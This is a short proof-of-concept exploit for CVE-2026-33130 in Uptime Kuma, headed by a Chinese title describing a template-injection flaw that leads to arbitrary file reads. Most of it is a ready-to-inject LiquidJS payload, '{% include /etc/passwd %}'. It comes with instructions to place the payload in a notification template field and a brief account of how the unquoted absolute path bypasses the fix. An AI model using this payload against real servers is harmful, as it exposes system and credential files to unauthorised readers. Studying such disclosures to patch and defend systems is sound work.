CVE-2026-33130 Uptime Kuma SSTI漏洞导致任意文件读取

// PoC for CVE-2026-33130: Uptime Kuma SSTI Bypass // The vulnerability allows reading arbitrary files using unquoted absolute paths in LiquidJS templates. // Context: Inject this payload into a vulnerable notification template field in Uptime Kuma. // Standard SSTI payload with quoted path (BLOCKED by the fix): // {% include "/etc/passwd" %} // Bypass payload using unquoted absolute path (VULNERABLE): // The LiquidJS engine passes unquoted arguments to require.resolve() without proper checks. const maliciousPayload = `{% include /etc/passwd %}`; // Explanation: // 1. The 'include' tag attempts to resolve the path. // 2. The 'root' and 'relativeReference' checks are bypassed because the path is absolute and unquoted. // 3. The fallback logic in liquid.node.js calls require.resolve('/etc/passwd'). // 4. Since the path is absolute and valid on the file system, the file content is read and rendered.